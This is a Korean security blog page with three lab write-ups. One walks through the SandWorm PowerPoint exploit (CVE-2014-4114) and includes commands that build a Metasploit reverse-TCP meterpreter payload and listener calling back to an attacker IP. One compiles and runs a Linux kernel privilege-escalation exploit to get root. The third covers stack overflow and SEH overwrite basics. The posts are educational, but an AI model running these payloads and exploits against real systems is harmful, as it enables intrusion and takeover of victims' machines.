'30./35. Exploit'에 해당되는 글 3건

  1. 2014.10.28 SandWorm exploit MS파워포인트(PPT)
  2. 2014.08.24 [Local Exploit] Local Privilege Escalation
  3. 2014.06.21 [Exploit] Stack Overflow / Heap Overflow / Heap Spray

SandWorm MS파워포인트(PPT) exploit


Microsoft PowerPoint Vulnerable to Zero-Day Attack


발생 원인


발생 원인은 윈도우 Object Linking과 Embedding(OLE) 속성의 부분인 PACKAGER.DLL에 취약점이 존재한다. 조작된 PowerPoint 문서를 이용하여 OLE object 내에 작성되어있는 원격 SMB 공유 서버 접속 주소로 접근 후 .INF을 로컬로 복사하여 실행이 가능하다. 이와 같은 방법으로 다른 악성 코드까지 다운로드하여 실행이 가능하다. 


공격 방법


+ CVE-2014-4114 [SandWorm]

SandWorm 취약점은 Microsoft PowerPoint 모든 버전에서 발생한다.

실행 환경 : Kali linux, Windows 7 x64 Microsoft Office Standard 2013


 사용한 exploit Code : http://www.exploit-db.com/exploits/35019/ 

 Full 버전 다운로드 : http://www.exploit-db.com/sploits/35019.tar.gz


Kali linux 는 Samba 서비스가 실행되어야 하며, 악성코드를 실행할 Window s 에서 접근이 가능해야 한다.

~ /share/35019 $ 35019.tar.gz 압축을 해제하면 아래와 같은 3개의 파일을 확인 가능하다.


~ /share/35019 $ python cve-2014-4114py 192.168.10.114 share xxx.exe

- 192.168.10.114 : 공격자 ip (samba 서비스 실행)

- share : samba 공유 폴더

- xxx.exe : dropper로 이용할 실행 파일


명령어 실행 후 생성된 ./out 폴더에서 exploit.ppsxxxx.inf을 확인 가능하다.

두 파일을 Kali 공유 폴더로 이동 시킨다.

~ /share/35019 $ cp ./* ../../../share/


metasploit을 이용하여 TCP_reverse (TCP 연결) 할 실행파일을 생성한다.

~ /share/35019 $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LPORT=8888 exitfunc=thread X > ../../../share.xxx.gif


공유 폴더를 확인하면 exploit.ppsx, xxx,gif xxx,inf와 같이 3개의 파일을 확인 가능하다.


~ /share/35019 $ msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LHOST=8888 E

TCP_reverse 실행 할 파일이 연결 가능한 Payload를 열어둔다.


공격당할 대상은 Windows 7 x64입니다. kali에서 Samba서비스를 통해 공유한 폴더에 접근한다. 실행창에서 \\192.168.10.114 명령어를 실행하면 공유폴더 접근 가능하다.


exploit.ppsx를 Windows Desktop에 복사한다.


실행!! 아래와 같은 러시아(?) 문자로 된 PPT를 확인 가능 합니다. PPT를 다음장으로 넘기기 위해 클릭하세요. 그럼 공유폴더에 있던 xxx.gif가 실행됩니다.


msfcli payload 연결을 위해 포트를 열고있던 Kali Linux에서 192.168.10.109:49210(Windows)에서 접속한 것을 확인 가능하다.


명령어가 생각이.. 만만한 screenshot!! 찰칵!


이미지가 저장된 경로를 확인하면 아래와 같이 ~~~~.jpeg파일을 생성을 확인한다.


잘 찍혔습니다. 짠~


끝.


분석


악성 파일 트리거로 사용한 PPSX 샘플을 분석하면 다음과 같은 콘텐츠를 확인 가능하다. 확장자를 PPSX에서 ZIP으로 변경하면 압축을 해제하여 안에 내용물을 확인 가능하다.


exploit.zip > ppt > embeddings > oleObject1.bin, oleObject2.bin


exploit.zip > ppt > sildes > xlide1.eml


exploit.zip > ppt > sildes > _rels > slide1.xml.rels


oleObject1.bin과 oleObject2.bin 컨텐츠를 따라가면 원격에 있는 공유 폴더 명과 악성파일에 접근 접근 가능한  IP 주소 확인이 가능하다.



slide1.xml 파일을 보면 "rld4"와 "rld5"라는 2개의 Packager Shell Object 볼 수 있다. 


slide1.xml.rels 파일을 보면 이전에 "rld4"와 "rld5"가 ../embeddings/oleObject1.bin, ../embeddings/oleObject2.bin으로 정의 된 것을 확인 가능하다.


slide1.xml 파일을 보면 슬라이드1을 열때 "xxx.gif"와 "xxx.inf"라는 파일이 packager.dll에 의해 로컬에 복사된다. 또한 특정 엑션을 확인하면 "-3"과 다른 값을 "3"으로 설명되어 있는 것을 확인 가능하다. 이 두개의 엑션은 OLE object를 호출하게 되며, 이 루틴은 packager!CPackage::Doverb()함수에서 확인 가능하다.


함께 생성된 xxx.inf 파일을 확인하면 하단에 xxx.gif파일을 xxx.gif.exe 파일로 인식하도록 변경하고, 레지스트리 시작에 경로를 입력하여 xxx.gif.exe가 실행되도록 설정되어 있다.

※ 참고 자료

http://www.exploit-db.com/exploits/35019/

http://thehackernews.com/2014/10/microsoft-powerpoint-vulnerable-to-zero.html

http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/

http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/



SandWorm.7z



저작자 표시 비영리 변경 금지
신고

[Local Exploit] Local Privilege Escalation 


CVE-2010-4258

쓰레드가 CLONE_CHILD_CLEARIED 플레그를 이용하여 Clone(2)를 통해 생성 된경우, NULL 단어는 사용자가 지정한 포인터에 쓰레드 종료를 기록한다. 해당 기록은 put_user()를 사용하여 종료되며, access_ok() 함수를 통해 호출하여 유효한 사용자 공간에 있는 제공 대상자에 확인된다. 하지만, Nelson은 커널이 주소 제한 오버라이트 set_fs(KERNEL_DS)와 OOPSes(via BUG, page fault, etc.), 해당 종료 경로가 put_user() 호출로 복귀되기 전에 사용자를 허용하는 임의의 커널 주소 NULL로 재 작성한다.

This is the interesting one, and the reason I wrote this exploit.  If a thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL word will be written to a user-specified pointer when that thread exits. This write is done using put_user(), which ensures the provided destination resides in valid userspace by invoking access_ok().

However, Nelson discovered that when the kernel performs an address limit override via set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, etc.), this override is not reverted before calling put_user() in the exit path, allowing a user to write a NULL word to an arbitrary kernel address. Note that this issue requires an additional vulnerability to trigger.



exploit란?

취약점 공격 또는 익스플로잇(exploit)이란 컴퓨터의 소프트웨어나 하드웨어 및 컴퓨터 관련 전자 제품의 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령, 스크립트, 프로그램 또는 특정한 데이터 조각을 말하며, 이러한 것들을 사용한 공격 행위를 이르기도 한다. 

- 위키백과



excution


사용한 OS : Ubuntu 10.04

Kernel 버전 : 2.6.32-21

취약점 버전 : CVE-2010-4258


Ubuntu 실행한다.




~ $ uname -a

Linux ubuntu 2.6.32-21-generic

공격할 exploit의 경우 Linux Kernel 2.6.37 이하 버전에서 발생한다.



~ $ id

현재 로그인한 사용자 계정 권한 확인한다. 일반사용자로 생성한 계정이며 uid 1000을 사용한다.


www.exploit-db.com에서 exploit source 다운로드한다.

http://www.exploit-db.com/exploits/15704/



Source






ubuntu 해당 소스코드를 다운받고 gcc를 이용하여 컴파일 한다.

~ $ gcc -o CVE2010-4258 CVE2010-4258.c




~ $ ./CVE2010-4258

exploit 실행하여 root 권한 획득을 확인한다.


uid 0 획득



저작자 표시
신고

Stack Overflow / Heap Overflow / Heap Spray



 주의 : 본 글은 K-Shield 1차과정(Raon)에서 시스템 취약점 과정입니다.


Stack Overflow(스택 오버 플로우)


"stack_bof.exe"의 소스 분석한다면 첫번째 인수(argument)을 main에서 입력 받아 sum이라는 함수의 변수(parameter)로 전달한다. 

sum 함수(function)에서 첫번째로 받는 파라미터 값(char 4)이 한계를 초과하여 스택에 저장된 return 주소위치까지 정보가 overwrite으로 저장된다. 


OllyDbg로 분석한다면 EIP가 입력한 정보로 변경되었으며 33343233은 hex 값을 dec값으로 변경한다면 3423이며 리틀인디언(little India)방식이므로 3243에서 스택 오버플로우가 발생된 것을 확인 가능하다.




※ 윈도우 오류 발생시 Ollydbg를 바로 작동 하는 방법

[Options] - [Just-in-time debugging] - [MakeOllydug Just-in-time dubugging] 선택





Security Cookie(Stack Canary)


Stack Overflow는 Security cookie를 사용하면 스택에 저장되는 return 주소[EIP]가 overflow시 해당 정보를 00000000으로 변경하여 준다. 



※ Security Cookie 사용과 미사용 비교



※ Ollydbg 사용 시 스택 View가 움직여 분석이 어렵다면 해당 View를 마우스 오른쪽 클릭하여 Unlock stack을 선택하면 View window를 고정가능하다.


Security_check_cookie로 점프하는 함수 확인한다.



Security Cookie에서 저장return 주소 정보와 비교하는 CMP확인한다.





SEH overwrite(Exception Overflow)


Security Cookie를 우회하기 위하여 exception overflow 취약점을 이용한다.


try {

[ 실행 ];

} catch {

[ 예외처리 ];

}


예외처리를 하지 못하지 못하고 발생하는 에러 위치를 취약점으로 이용한다.


예외를 처리하지 못하고 EIP가 변경된 것을 확인가능하다.



SafeSEH/SEHop


 exception overflow 취약점을 보안하여 예외 처리할 주소들도 프로그램 안에 저장한다.






















이미지.zip


저작자 표시
신고
1 

카운터

Total : 85,369 / Today : 1 / Yesterday : 31
get rsstistory!